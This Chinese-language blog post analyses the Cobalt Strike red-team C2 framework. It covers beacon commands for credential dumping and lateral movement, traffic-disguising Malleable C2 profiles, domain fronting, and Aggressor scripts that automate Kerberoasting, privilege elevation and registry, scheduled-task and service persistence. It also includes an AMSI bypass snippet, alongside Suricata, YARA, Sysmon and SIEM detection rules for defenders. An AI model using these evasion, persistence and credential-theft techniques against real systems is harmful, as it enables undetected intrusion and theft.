GitHub热门项目-Cobalt Strike红队攻防深度解析
Cobalt Strike是商业化红队攻防平台的标杆,被广泛应用于APT模拟、红队演练和渗透测试。本文将深入剖析其架构设计、核心功能、Malleable C2配置、以及蓝队检测与防御策略。
审计背景 :在2024年两次红队项目里我都使用了Cobalt Strike做主控,与防守方“斗智斗勇”时踩到不少坑(比如Beacon同步不上、Profile被流量检测直接拦截),这里一并记录。
一、Cobalt Strike概述 1.1 项目背景 Cobalt Strike由Raphael Mudge开发,最初作为Armitage的商业版本,现已成为业界最成熟的红队C2框架之一。
特性
说明
类型
商业C2框架
开发者
Strategic Cyber LLC
首发版本
2012年
当前版本
4.9+
授权方式
商业授权(年费)
GitHub Stars
相关开源项目累计50k+
1.2 核心架构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌─────────────────────────────────────────────────────────────┐ │ Cobalt Strike 架构 │ ├─────────────────────────────────────────────────────────────┤ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ Team │ │ Beacon │ │ Listener │ │ │ │ Server │◄──►│ Payload │◄──►│ Handler │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ Aggressor │ │ Malleable │ │ External │ │ │ │ Scripts │ │ C2 │ │ C2 │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ └─────────────────────────────────────────────────────────────┘
Team Server(指挥端) :集中调度与日志记录,通常部署在受控VPS或本地虚拟机。
Beacon Payload(受控端) :驻留在目标主机上,负责执行命令与横向。
Listener(侦听器) :监听不同协议端口的载荷回连,决定Beacon“从哪条路回家”。
Aggressor Script(自动化脚本) :批量化处理重复操作,避免人工误操作。
Malleable C2(流量伪装) :自定义HTTP/DNS等回连特征,绕过防火墙策略。
External C2(自定义通道) :将Beacon挂接到自研的管道,实现更灵活的间谍链路。
二、Team Server部署与配置 2.1 基础部署 Team Server启动 1 2 3 4 5 6 7 8 9 10 11 ./teamserver <IP> <password> ./teamserver <IP> <password> <malleable_profile> ./teamserver <IP> <password> <malleable_profile> <port> ./teamserver 192.168.1.100 MySecurePass123 ./profiles/amazon.profile 50050
2.2 多Team Server协作 分布式部署架构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ┌──────────────────┐ │ Primary C2 │ │ Team Server │ └────────┬─────────┘ │ ┌────────────────┼────────────────┐ │ │ │ ┌───────▼──────┐ ┌───────▼──────┐ ┌───────▼──────┐ │ Redirector │ │ Redirector │ │ Redirector │ │ (CDN/云) │ │ (VPS) │ │ (域前置) │ └───────┬──────┘ └───────┬──────┘ └───────┬──────┘ │ │ │ └────────────────┼────────────────┘ │ ┌────────▼────────┐ │ Target │ │ Network │ └─────────────────┘
经验提醒 :多Team Server协作时一定要提前规划证书和Listener端口,否则Beacon改指挥端就得重新上线。而在云厂商VPC里跑Redirector要记得额外放行X-Forwarded-For等头部。
三、Beacon深度解析 3.1 Beacon类型
Beacon类型
通信协议
使用场景
HTTP/HTTPS
HTTP(S)
通用场景,易于伪装
DNS
DNS TXT/A记录
严格出口限制环境
SMB
命名管道
内网横向移动
TCP
原始TCP
内网Pivot
External C2
自定义
高度定制化需求
3.2 Beacon生成与配置 Beacon生成选项 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Attacks → Packages → Windows Executable (S) Payload选项: ├── Windows Executable ├── Windows Executable (S) ├── Windows DLL ├── Windows Service EXE ├── PowerShell ├── Raw └── HTML Application 输出格式: ├── exe ├── dll ├── svc ├── ps1 ├── raw └── vba
3.3 Beacon命令详解 核心Beacon命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 beacon> sleep 60 30 beacon> checkin beacon> exit beacon> sysinfo beacon> ps beacon> net view beacon> net computers beacon> net dclist beacon> net user beacon> ls beacon> cd C:\Users beacon> download file.txt beacon> upload local.exe beacon> rm file.txt beacon> shell whoami beacon> powershell Get-Process beacon> execute-assembly tool.exe beacon> run program.exe beacon> elevate svc-exe beacon> elevate uac-token-duplication beacon> getsystem beacon> getprivs beacon> hashdump beacon> logonpasswords beacon> dcsync domain.local DOMAIN\krbtgt beacon> jump psexec target beacon> jump winrm target beacon> jump wmi target beacon> remote-exec psexec target cmd beacon> socks 1080 beacon> rportfwd 8080 127.0 .0.1 80 beacon> spawnto x64 %windir%\sysnative\dllhost.exe
3.4 作战节奏建议
上线即分层 :初始Beacon先留在普通用户权限,确认环境再切换到提权Session,避免直接暴露高权限。
命令节流(必要提醒) :HTTP(S)回连场景建议sleep 45 20起步,再依据目标网络延迟调整,防止频繁心跳被流量基线发现。
会话备注必填 :借助note命令给每个Beacon写出“拿到的资产、最后执行时间”等信息,夜间轮班时能快速接手,避免“接班不敢动”的尴尬。
流量对齐演练 :上线前用演练Profile在自建靶场压测,确保与生产Profile一致;否则蓝队回放测试毫无参考价值。
四、Malleable C2配置 4.1 配置文件结构 Malleable C2允许自定义Beacon的网络流量特征,实现流量伪装:
Malleable C2基础结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 # 全局选项 set sample_name "Amazon CDN Profile" ;set sleeptime "60000" ;set jitter "30" ;set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" ;set data_jitter "100" ;# DNS配置 dns-beacon { set dns_idle "8.8.8.8" ; set dns_sleep "0" ; set maxdns "255" ; set dns_stager_prepend "" ; set dns_stager_subhost ".stage." ; } # HTTP-GET配置 http-get { set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books" ; client { header "Accept" "*/*" ; header "Host" "www.amazon.com" ; metadata { base64; prepend "session-token=" ; header "Cookie" ; } } server { header "Server" "Server" ; header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT" ; header "x-amz-id-2" "a]Jm8DeWPiQ+kh2DGdZ9cLerkligP" ; output { base64; print; } } } # HTTP-POST配置 http-post { set uri "/N4215/adj/amzn.us.sr.aps" ; client { header "Accept" "*/*" ; header "Content-Type" "text/xml" ; id { base64; prepend "sn=" ; header "Cookie" ; } output { base64; print; } } server { header "Server" "Server" ; output { base64; print; } } }
4.2 高级流量伪装 模拟合法服务流量 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 # 模拟Microsoft Teams流量 set sample_name "Microsoft Teams Profile" ;set sleeptime "45000" ;set jitter "37" ;set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.5.00.4689 Chrome/85.0.4183.121 Electron/10.4.7 Safari/537.36" ;https-certificate { set CN "teams.microsoft.com" ; set O "Microsoft Corporation" ; set C "US" ; set L "Redmond" ; set ST "Washington" ; set validity "365" ; } http-get { set uri "/api/mt/emea/beta/users" ; client { header "Accept" "application/json" ; header "Accept-Language" "en-US" ; header "x-ms-client-type" "desktop" ; header "x-ms-client-version" "1415/1.0.0.2021011237" ; metadata { base64url; prepend "Bearer " ; header "Authorization" ; } } server { header "Content-Type" "application/json; charset=utf-8" ; header "x-ms-environment" "Production" ; header "x-ms-latency" "47" ; output { netbios; prepend "{\"value\":[{\"id\":\"" ; append "\"}]}" ; print; } } } # 进程注入配置 process-inject { set allocator "NtMapViewOfSection" ; set min_alloc "17500" ; set startrwx "false" ; set userwx "false" ; transform-x86 { prepend "\x90\x90\x90" ; } transform-x64 { prepend "\x90\x90\x90" ; } execute { CreateThread "ntdll.dll!RtlUserThreadStart" ; CreateRemoteThread "kernel32.dll!LoadLibraryA" ; NtQueueApcThread-s; RtlCreateUserThread; } } # 内存规避 post-ex { set spawnto_x86 "%windir%\\syswow64\\dllhost.exe" ; set spawnto_x64 "%windir%\\sysnative\\dllhost.exe" ; set obfuscate "true" ; set smartinject "true" ; set amsi_disable "true" ; set pipename "mojo.5688.8052.183894939787088877##" ; }
4.3 域前置配置 CDN域前置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # 使用CDN进行域前置 http-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type" ; header "Server" "nginx" ; header "Keep-Alive" "timeout=10, max=100" ; header "Connection" "Keep-Alive" ; set trust_x_forwarded_for "true" ; } http-get { set uri "/cdn-cgi/trace" ; client { header "Host" "legitimate-domain.com" ; # 前置域名 header "Accept" "*/*" ; metadata { base64url; uri-append; } } } # Listener配置 # Host: cdn-endpoint.cloudflare.com (实际C2) # Host Header: legitimate-domain.com (前置域名)
4.4 Profile调优心得
命名规范 :Profile里sample_name、pipename不要写“cs”、“beacon”等敏感词。我习惯用业务系统或运维服务名称,降低肉眼识别风险。
证书指纹 :HTTPS Listener建议自备证书或使用acme自动化签发,避免默认证书被IDS一眼看穿。
数据分块 :set data_jitter、set chunk-size等参数别贪大,否则丢包后Beacon容易断链。多次压测发现sleeptime 60s+jitter 30是较安全的平衡点。
五、Aggressor Script开发 5.1 脚本基础 Aggressor Script示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 # 自动化信息收集脚本 on beacon_initial { local('$bid' ); $bid = $1 ; # 获取基本信息 bsleep($bid, 10000 , 20 ); bshell($bid, "whoami /all" ); bshell($bid, "ipconfig /all" ); bshell($bid, "net user" ); bshell($bid, "net localgroup administrators" ); # 检查是否为域环境 bpowershell($bid, "[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()" ); # 通知操作员 bnote($bid, "Initial recon completed" ); } # 自定义右键菜单 popup beacon_bottom { menu "Quick Recon" { item "Domain Info" { foreach $bid ($1 ) { bpowershell($bid, "Get-ADDomain" ); bpowershell($bid, "Get-ADDomainController -Filter *" ); } } item "Find Domain Admins" { foreach $bid ($1 ) { bpowershell($bid, "Get-ADGroupMember 'Domain Admins' -Recursive" ); } } item "Kerberoast" { foreach $bid ($1 ) { bexecute_assembly($bid, script_resource("Rubeus.exe" ), "kerberoast /outfile:C:\\temp\\hashes.txt" ); } } } } # 自动权限提升 alias autoelevate { local('$bid' ); $bid = $1 ; if (-isadmin $bid) { blog($bid, "Already running as admin" ); return ; } # 尝试多种提权方法 belevate($bid, "svc-exe" ); # 如果失败,尝试UAC绕过 if (!-isadmin $bid) { belevate($bid, "uac-token-duplication" ); } } # 自动持久化 alias autopersist { local('$bid $method' ); $bid = $1 ; $method = $2 ; if ($method eq "registry" ) { bshell($bid, "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Updater /t REG_SZ /d \"C:\\Users\\Public\\updater.exe\" /f" ); } else if ($method eq "schtask" ) { bshell($bid, "schtasks /create /tn \"System Update\" /tr \"C:\\Users\\Public\\updater.exe\" /sc onlogon /ru SYSTEM" ); } else if ($method eq "service" ) { bshell($bid, "sc create UpdateService binPath= \"C:\\Users\\Public\\updater.exe\" start= auto" ); } }
六、蓝队检测与防御 6.1 网络层检测 流量特征检测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 alert http any any -> any any ( msg:"Cobalt Strike Beacon HTTP GET"; flow:established,to_server; content:"GET"; http_method; pcre:"/\/[a-zA-Z0-9]{4}\.(js|css|gif|png|jpg)/U"; content:"Cookie:"; http_header; pcre:"/[A-Za-z0-9+/]{50,}={0,2}/H"; classtype:trojan-activity; sid:1000001; rev:1; ) alert tls any any -> any any ( msg:"Cobalt Strike JA3 Fingerprint"; ja3.hash; content:"72a589da586844d7f0818ce684948eea"; classtype:trojan-activity; sid:1000002; rev:1; ) alert dns any any -> any any ( msg:"Cobalt Strike DNS Beacon"; dns.query; pcre:"/^[a-f0-9]{12,}\.[a-z0-9-]+\.[a-z]{2,}$/i"; threshold:type both,track by_src,count 10 ,seconds 60 ; classtype:trojan-activity; sid:1000003; rev:1; )
6.2 主机层检测 行为特征检测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 Get-ChildItem \\.\pipe\ | Where-Object { $_ .Name -match "^(MSSE-|msagent_|postex_|status_|mojo\.|chrome\.)" } Get-Process | ForEach-Object { $proc = $_ try { $modules = $proc .Modules | Where-Object { $_ .FileName -eq $null } if ($modules ) { [PSCustomObject ]@ { ProcessName = $proc .ProcessName PID = $proc .Id SuspiciousModules = $modules .Count } } } catch {} } rule CobaltStrike_Beacon_Memory { meta: description = "Detects Cobalt Strike Beacon in memory" author = "Security Team" strings: $s1 = "%s as %s\\%s: %d" ascii $s2 = "beacon.dll" ascii $s3 = "beacon.x64.dll" ascii $s4 = "%s (admin)" ascii $s5 = "ReflectiveLoader" ascii $config = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? } condition: 3 of ($s *) or $config } <RuleGroup name="CobaltStrike" groupRelation="or" > <!-- 检测进程注入 -- > <ProcessAccess onmatch="include" > <CallTrace condition="contains" >ntdll.dll!NtMapViewOfSection</CallTrace> <CallTrace condition="contains" >UNKNOWN</CallTrace> </ProcessAccess> <!-- 检测命名管道 -- > <PipeEvent onmatch="include" > <PipeName condition="begin with" >\\MSSE-</PipeName> <PipeName condition="begin with" >\\postex_</PipeName> <PipeName condition="begin with" >\\status_</PipeName> </PipeEvent> <!-- 检测可疑网络连接 -- > <NetworkConnect onmatch="include" > <Image condition="is" >C:\Windows\System32\rundll32.exe</Image> <Image condition="is" >C:\Windows\System32\dllhost.exe</Image> </NetworkConnect> </RuleGroup>
6.3 防御措施
防御层面
措施
网络层
部署SSL/TLS检测、JA3指纹监控、DNS异常检测
主机层
启用Credential Guard、AMSI、ETW监控
终端层
部署EDR、限制PowerShell执行策略
身份层
实施MFA、限制特权账户、监控异常登录
应用层
应用白名单、代码签名验证
6.4 威胁狩猎查询 Splunk/Elastic查询 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # Splunk - 检测Beacon回连模式 index=network sourcetype=firewall | bin _time span=1m | stats count by src_ip, dest_ip, dest_port | where count > 50 AND count < 100 | eval beacon_score = if(count >= 55 AND count <= 65, "high", "medium") # Splunk - 检测进程注入 index=windows sourcetype=sysmon EventCode=8 | where TargetImage != SourceImage | stats count by SourceImage, TargetImage, SourceUser | where count > 5 # Elastic - 检测可疑PowerShell { "query": { "bool": { "must": [ {"match": {"event.category": "process"}}, {"match": {"process.name": "powershell.exe"}} ], "should": [ {"match": {"process.command_line": "*-enc*"}}, {"match": {"process.command_line": "*-nop*"}}, {"match": {"process.command_line": "*IEX*"}}, {"match": {"process.command_line": "*DownloadString*"}} ], "minimum_should_match": 2 } } }
6.5 蓝队联调记录
日志对齐 :红蓝对抗期间,蓝队通常以分钟级聚合日志。我们会主动提供Listener IP段与回连时间,方便对方确认是否误报。
流量特征共享 :在重放Beacon流量给蓝队测试时,记得使用同一Profile,否则结论没有意义。我固定保留一份“演练Profile”供测试阶段使用。
演练复盘 :每次活动结束后,会将Aggressor脚本、Profile配置与流量截图打包给甲方安全负责人,确保策略能够落地而不只是纸面报告。
七、红队规避技术 7.1 AMSI绕过 AMSI规避方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $a = [Ref ].Assembly.GetTypes() | ? {$_ .Name -like "*iUtils" }$b = $a .GetFields('NonPublic,Static' ) | ? {$_ .Name -like "*Context" }[Int Ptr ]$c = $b .GetValue($null ) [Int 32 []]$d = @ (0 ) [System.Runtime.InteropServices.Marshal ]::Copy ($d , 0 , $c , 1 ) $a = [System.Runtime.InteropServices.RuntimeEnvironment ]$b = $a .GetRuntimeDirectory()$c = [System.Reflection.Assembly ]::LoadFile($b + "System.Management.Automation.dll" )post-ex { set amsi_disable "true" ; }
7.2 ETW绕过 ETW规避 1 2 3 4 5 6 7 8 post-ex { set etw_disable "true" ; }
八、总结 Cobalt Strike作为成熟的红队C2框架,其强大的功能和灵活的配置使其成为APT模拟和红队演练的首选工具。理解其工作原理对于红队提升攻击能力、蓝队加强检测防御都至关重要。
关键要点 :
Malleable C2是流量伪装的核心,需要根据目标环境定制
Aggressor Script可实现自动化攻击流程
蓝队应从网络、主机、行为多维度进行检测
持续更新检测规则以应对新的规避技术
注意 :本文内容仅供授权的安全测试和学习研究使用,未经授权使用C2工具攻击他人系统属于违法行为。